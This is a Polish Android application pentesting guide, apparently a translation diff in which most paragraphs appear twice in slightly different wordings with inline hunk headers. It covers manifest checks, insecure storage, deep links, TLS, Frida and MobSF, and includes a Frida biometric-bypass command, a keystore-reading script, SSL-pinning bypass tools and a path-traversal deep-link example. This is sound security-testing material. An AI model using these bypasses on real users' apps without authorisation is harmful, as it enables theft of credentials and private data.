- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy włączone jest debugowanie USB.
- **Debugowalne aplikacje**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze zrozumienie, jak wykorzystać debugowalne aplikacje, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania debugowalnych aplikacji na urządzeniu.
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone.
- **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty.
- **Dostawcy treści i FileProviders**: Ujawnieni dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególną uwagą na to, jak zarządzane są schematy URL w kontekście luk w wejściu.
- **Dostawcy treści i FileProviders**: Odkryte dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególną uwagą na to, jak zarządzane są schematy URL w kontekście luk wejściowych.
- **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając znaczenie nieobsługiwania przestarzałych, podatnych wersji Androida z powodów bezpieczeństwa.
Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze API, niestandardowe schematy i inne notatki dewelopera, co podkreśla potrzebę starannego przeglądu tych zasobów.
### Tapjacking
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika, aby z nią interagował, podczas gdy przekazuje interakcję do aplikacji ofiary.\
W efekcie **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
Więcej informacji znajdziesz w:
Znajdź więcej informacji w:
{{#ref}}
tapjacking.md
@ -111,7 +115,7 @@ android-task-hijacking.md
W Androidzie pliki **przechowywane** w **wewnętrznej** pamięci są **zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
1. **Analiza statyczna:**
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie sprawdzane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
2. **Analiza dynamiczna:**
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. W szczególności **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
@ -122,12 +126,12 @@ Podczas pracy z plikami na **zewnętrznej pamięci**, takiej jak karty SD, nale
1. **Dostępność**:
- Pliki na zewnętrznej pamięci są **globalnie czytelne i zapisywalne**. Oznacza to, że każda aplikacja lub użytkownik może uzyskać dostęp do tych plików.
2. **Problemy z bezpieczeństwem**:
- Biorąc pod uwagę łatwość dostępu, zaleca się **nieprzechowywanie wrażliwych informacji** na zewnętrznej pamięci.
- Zewnętrzna pamięć może być usunięta lub dostępna przez dowolną aplikację, co czyni ją mniej bezpieczną.
- Biorąc pod uwagę łatwość dostępu, zaleca się **nie przechowywać wrażliwych informacji** na zewnętrznej pamięci.
- Zewnętrzna pamięć może być usunięta lub dostępna przez każdą aplikację, co czyni ją mniej bezpieczną.
3. **Obsługa danych z zewnętrznej pamięci**:
- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznej pamięci. Jest to kluczowe, ponieważ dane pochodzą z nieznanego źródła.
- Przechowywanie plików wykonywalnych lub klas na zewnętrznej pamięci do dynamicznego ładowania jest zdecydowanie odradzane.
- Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznej pamięci, upewnij się, że te pliki są **podpisane i weryfikowane kryptograficznie** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
- Przechowywanie plików wykonywalnych lub plików klas na zewnętrznej pamięci do dynamicznego ładowania jest zdecydowanie odradzane.
- Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznej pamięci, upewnij się, że te pliki są **podpisane i kryptograficznie weryfikowane** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
Zewnętrzna pamięć może być **dostępna** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
@ -154,7 +158,7 @@ Dobrą metodą na przetestowanie tego jest próba przechwycenia ruchu za pomocą
**Słabe procesy zarządzania kluczami**
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/predykcyjnym w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
**Użycie niebezpiecznych i/lub przestarzałych algorytmów**
@ -162,7 +166,7 @@ Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadza
### Inne kontrole
- Zaleca się **obfuskację APK**, aby utrudnić atakującym pracę inżynierii wstecznej.
- Zaleca się **obfuskację APK**, aby utrudnić atakującym pracę inżynierii odwrotnej.
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie jest zrootowane** i działać w konsekwencji.
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna sprawdzić, czy używany jest **emulator**.
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem**, aby sprawdzić, czy została zmodyfikowana.
@ -188,9 +192,9 @@ Przeczytaj następującą stronę, aby dowiedzieć się, jak łatwo uzyskać dos
Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superzapakowane to algorytm Meta, który kompresuje zawartość aplikacji do jednego pliku. Blog mówi o możliwości stworzenia aplikacji, która dekompresuje tego rodzaju aplikacje... oraz szybszym sposobie, który polega na **wykonaniu aplikacji i zebraniu zdekompresowanych plików z systemu plików.**
### Zautomatyzowana analiza statycznego kodu
### Zautomatyzowana analiza statyczna kodu
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) i **zasady**. Te zasady wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
@ -256,7 +260,7 @@ Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz klikną
![](<../../images/image (277).png>)
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieci mostkowej** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieciowy Bridge** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
#### Użyj fizycznego urządzenia
@ -275,15 +279,15 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
**Logowanie**
Deweloperzy powinni być ostrożni, aby nie ujawniać **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność.
Deweloperzy powinni być ostrożni w ujawnianiu **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność.
> [!WARNING]
> Zauważ, że od **nowszych wersji niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Tak więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
> Tak czy inaczej, nadal zaleca się **nie logować wrażliwych informacji**.
**Bufor kopiowania/wklejania**
Oparty na **schowku** framework Androida umożliwia funkcjonalność kopiowania i wklejania w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych.
Androidowy framework **oparty na schowku** umożliwia funkcjonalność kopiowania i wklejania w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych.
**Logi awarii**
@ -338,12 +342,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### Tapjacking
Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywności, aby **zmusić użytkownika do wykonania nieoczekiwanych działań**. Aby uzyskać więcej informacji o [**tym, czym jest Tapjacking, kliknij tutaj**](#tapjacking).
Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywności, aby **zmusić użytkownika do wykonania nieoczekiwanych działań**. Aby uzyskać więcej informacji o [**tym, czym jest Tapjacking, kliknij ten link**](#tapjacking).
### Wykorzystywanie dostawców treści - Uzyskiwanie dostępu i manipulowanie wrażliwymi informacjami
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest dostawca treści.**](android-applications-basics.md#content-provider)\
Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Interesujące jest również testowanie możliwych **SQL injection** i **Path Traversals**, ponieważ mogą być podatne.
Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Interesujące jest również testowanie możliwych **iniekcji SQL** i **przechodzenia ścieżek**, ponieważ mogą być podatne.
[**Dowiedz się, jak wykorzystywać dostawców treści za pomocą Drozer.**](drozer-tutorial/index.html#content-providers)
@ -385,11 +389,11 @@ Aby znaleźć **kod, który będzie wykonany w aplikacji**, przejdź do aktywno
**Wrażliwe informacje**
Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie odbiera wrażliwych danych (takich jak hasła) za pomocą parametrów URL**, ponieważ każda inna aplikacja może **podszyć się pod deep link i ukraść te dane!**
Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie odbiera wrażliwych danych (jak hasła) za pomocą parametrów URL**, ponieważ każda inna aplikacja może **podszyć się pod deep link i ukraść te dane!**
**Parametry w ścieżce**
Musisz również sprawdzić, czy jakikolwiek deep link używa parametru wewnątrz ścieżki URL, takiego jak: `https://api.example.com/v1/users/{username}`, w takim przypadku możesz wymusić przejście przez ścieżkę, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Musisz również sprawdzić, czy jakikolwiek deep link używa parametru wewnątrz ścieżki URL, jak: `https://api.example.com/v1/users/{username}`, w takim przypadku możesz wymusić przejście przez ścieżkę, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz modyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
**Więcej przykładów**
@ -398,29 +402,29 @@ Ciekawy raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotycz
### Inspekcja i weryfikacja warstwy transportowej
- **Certyfikaty nie zawsze są poprawnie sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, wykorzystując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), co pozwala atakującym na odszyfrowanie danych.
- **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, wykorzystując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych.
- **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez niebezpieczne kanały w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty.
#### Weryfikacja certyfikatu
Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera musi być weryfikowana, aby zwiększyć bezpieczeństwo. Jest to kluczowe, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez niezaszyfrowane kanały mogą stwarzać poważne ryzyko. Aby uzyskać szczegółowe kroki dotyczące weryfikacji certyfikatów serwera i rozwiązywania podatności, [**to źródło**](https://manifestsecurity.com/android-application-security-part-10/) oferuje kompleksowe wskazówki.
Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera musi być weryfikowana, aby zwiększyć bezpieczeństwo. Jest to kluczowe, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez niezaszyfrowane kanały mogą stwarzać poważne ryzyko. Szczegółowe kroki dotyczące weryfikacji certyfikatów serwera i rozwiązywania podatności można znaleźć w [**tym zasobie**](https://manifestsecurity.com/android-application-security-part-10/).
#### SSL Pinning
SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera w porównaniu do znanej kopii przechowywanej w samej aplikacji. Ta metoda jest niezbędna do zapobiegania atakom MITM. Wdrożenie SSL Pinning jest zdecydowanie zalecane dla aplikacji obsługujących wrażliwe informacje.
SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera w porównaniu do znanej kopii przechowywanej w samej aplikacji. Metoda ta jest niezbędna do zapobiegania atakom MITM. Wdrożenie SSL Pinning jest zdecydowanie zalecane dla aplikacji obsługujących wrażliwe informacje.
#### Inspekcja ruchu
Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu, zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać przewodnik dotyczący instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać instrukcje dotyczące instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy dla inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**zobacz ten samouczek**](make-apk-accept-ca-certificate.md).
Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**odwołaj się do tego samouczka**](make-apk-accept-ca-certificate.md).
Jeśli używasz **Flutter**, musisz postępować zgodnie z instrukcjami na [**tej stronie**](flutter.md). Dzieje się tak, ponieważ samo dodanie certyfikatu do magazynu nie zadziała, ponieważ Flutter ma swoją własną listę ważnych CA.
#### Obejście SSL Pinning
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje kilka metod w tym celu:
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje wiele metod w tym celu:
- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
- Możesz użyć **Frida** (omówionej poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
@ -430,7 +434,7 @@ Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspi
#### Szukanie powszechnych podatności w sieci
Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
Ważne jest również, aby szukać powszechnych podatności w sieci w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
### Frida
@ -440,7 +444,7 @@ Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak
- Naucz się, jak używać Frida: [**Samouczek Frida**](frida-tutorial/index.html)
- Nieco "GUI" do działań z Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection jest świetny do automatyzacji użycia Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Ojection jest świetne do automatyzacji użycia Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Możesz znaleźć kilka niesamowitych skryptów Frida tutaj: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Spróbuj obejść mechanizmy anty-debugging / anty-frida, ładując Frida, jak wskazano w [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (narzędzie [linjector](https://github.com/erfur/linjector-rs))
@ -463,7 +467,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```
### **Wrażliwe dane w Keystore**
W systemie Android Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzić, ponieważ użytkownik root lub osoba z fizycznym dostępem do urządzenia mogłaby być w stanie ukraść te dane.
W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać, ponieważ użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane.
@ -471,9 +475,9 @@ Aby uzyskać dostęp do danych wewnątrz keystore, możesz użyć tego skryptu F
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Ominięcie odcisków palców/biometrii**
### **Ominięcie odcisku palca/biometrii**
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odcisków palców**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odciskiem palca**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -485,7 +489,7 @@ Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dos
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu poprzez ustawienie parametru układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych wyświetlaczach.
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych wyświetlaczach.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -508,13 +512,13 @@ Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportow
### Wstrzyknięcia po stronie klienta Androida i inne
Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android:
Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
- **Wstrzykiwanie SQL:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
- **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
- **Inkluzja lokalnych plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
- **Wieczne ciasteczka**: W wielu przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
- [**Flaga zabezpieczeń** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
- **Wieczne ciasteczka**: W kilku przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
- [**Bezpieczna flaga** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -532,7 +536,7 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do głównego folderu aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie w stanie go przeanalizować.
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie w stanie go przeanalizować.
MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku.
@ -552,7 +556,7 @@ Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne us
Domyślnie użyje również niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
Aby **rozpocząć** testy dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
MobSF pozwala również na załadowanie własnych **skryptów Frida** (aby wysłać wyniki swoich skryptów Frida do MobSF, użyj funkcji `send()`). Ma również **kilka wcześniej napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), wystarczy **je wybrać**, nacisnąć "**Load**" i nacisnąć "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**").
![](<../../images/image (419).png>)
@ -596,7 +600,7 @@ Po zakończeniu analizy dynamicznej z MobSF możesz nacisnąć "**Start Web API
### Wspomagana analiza dynamiczna z Inspeckage
Możesz pobrać narzędzie z [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
To narzędzie użyje kilku **Hooks**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**.
